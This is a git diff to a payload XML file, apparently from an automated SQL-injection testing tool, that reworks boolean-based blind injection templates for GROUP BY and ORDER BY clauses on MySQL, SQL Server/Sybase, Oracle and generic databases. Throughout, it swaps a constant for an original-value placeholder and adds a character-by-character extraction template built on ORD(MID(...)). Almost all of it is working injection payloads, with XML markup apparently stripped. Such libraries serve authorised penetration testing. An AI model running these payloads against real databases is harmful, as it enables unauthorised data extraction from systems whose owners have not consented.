diff --git a/xml/payloads.xml b/xml/payloads.xml
index 9c6d25221..8902fae7f 100644
--- a/xml/payloads.xml
+++ b/xml/payloads.xml
@@ -436,7 +436,7 @@ Formats:
- MySQL >= 5.0 boolean-based blind - GROUP BY and ORDER BY clauses
+ MySQL >= 5.0 boolean-based blind - GROUP BY and ORDER BY clauses (append)
1
3
1
@@ -444,10 +444,10 @@ Formats:
1
- (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM information_schema.tables) END))
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM information_schema.tables) END))
- (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM information_schema.tables) END))
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM information_schema.tables) END))
MySQL
@@ -456,7 +456,7 @@ Formats:
- MySQL < 5.0 boolean-based blind - GROUP BY and ORDER BY clauses
+ MySQL < 5.0 boolean-based blind - GROUP BY and ORDER BY clauses (append)
1
4
1
@@ -464,10 +464,10 @@ Formats:
1
- (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))
- (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))
MySQL
@@ -475,7 +475,7 @@ Formats:
- Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause
+ Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause (append)
1
3
1
@@ -483,10 +483,10 @@ Formats:
1
- (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))
- (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))
Microsoft SQL Server
@@ -494,7 +494,7 @@ Formats:
- Oracle boolean-based blind - ORDER BY clause
+ Oracle boolean-based blind - ORDER BY clause (append)
1
3
1
@@ -502,10 +502,10 @@ Formats:
1
- (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 1/0 END) FROM DUAL)
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/0 END) FROM DUAL)
- (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 1/0 END) FROM DUAL)
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 1/0 END) FROM DUAL)
Oracle
@@ -515,7 +515,7 @@ Formats:
- Generic boolean-based blind - GROUP BY and ORDER BY clauses
+ Generic boolean-based blind - GROUP BY and ORDER BY clauses (append)
1
3
1
@@ -523,26 +523,26 @@ Formats:
1
- (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 1/0 END))
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/0 END))
- (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 1/0 END))
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 1/0 END))
- MySQL >= 5.0 boolean-based blind - GROUP BY and ORDER BY clauses
+ MySQL >= 5.0 boolean-based blind - GROUP BY and ORDER BY clauses (replace)
1
4
1
2,3
3
-
+ (SELECT (CASE WHEN (ORD(MID((%s), %d, 1)) > %d) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM information_schema.tables) END))
- (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM information_schema.tables) END))
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM information_schema.tables) END))
- (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM information_schema.tables) END))
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM information_schema.tables) END))
MySQL
@@ -551,7 +551,7 @@ Formats:
- MySQL < 5.0 boolean-based blind - GROUP BY and ORDER BY clauses
+ MySQL < 5.0 boolean-based blind - GROUP BY and ORDER BY clauses (replace)
1
5
1
@@ -559,10 +559,10 @@ Formats:
3
- (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))
- (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))
MySQL
@@ -570,7 +570,7 @@ Formats:
- Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause
+ Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause (replace)
1
4
1
@@ -578,10 +578,10 @@ Formats:
3
- (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))
- (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))
Microsoft SQL Server
@@ -589,7 +589,7 @@ Formats:
- Oracle boolean-based blind - ORDER BY clause
+ Oracle boolean-based blind - ORDER BY clause (replace)
1
4
1
@@ -597,10 +597,10 @@ Formats:
3
- (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 1/0 END) FROM DUAL)
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/0 END) FROM DUAL)
- (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 1/0 END) FROM DUAL)
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 1/0 END) FROM DUAL)
Oracle
@@ -610,7 +610,7 @@ Formats:
- Generic boolean-based blind - GROUP BY and ORDER BY clauses
+ Generic boolean-based blind - GROUP BY and ORDER BY clauses (replace)
1
4
1
@@ -618,10 +618,10 @@ Formats:
3
- (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 1/0 END))
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/0 END))
- (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 1/0 END))
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 1/0 END))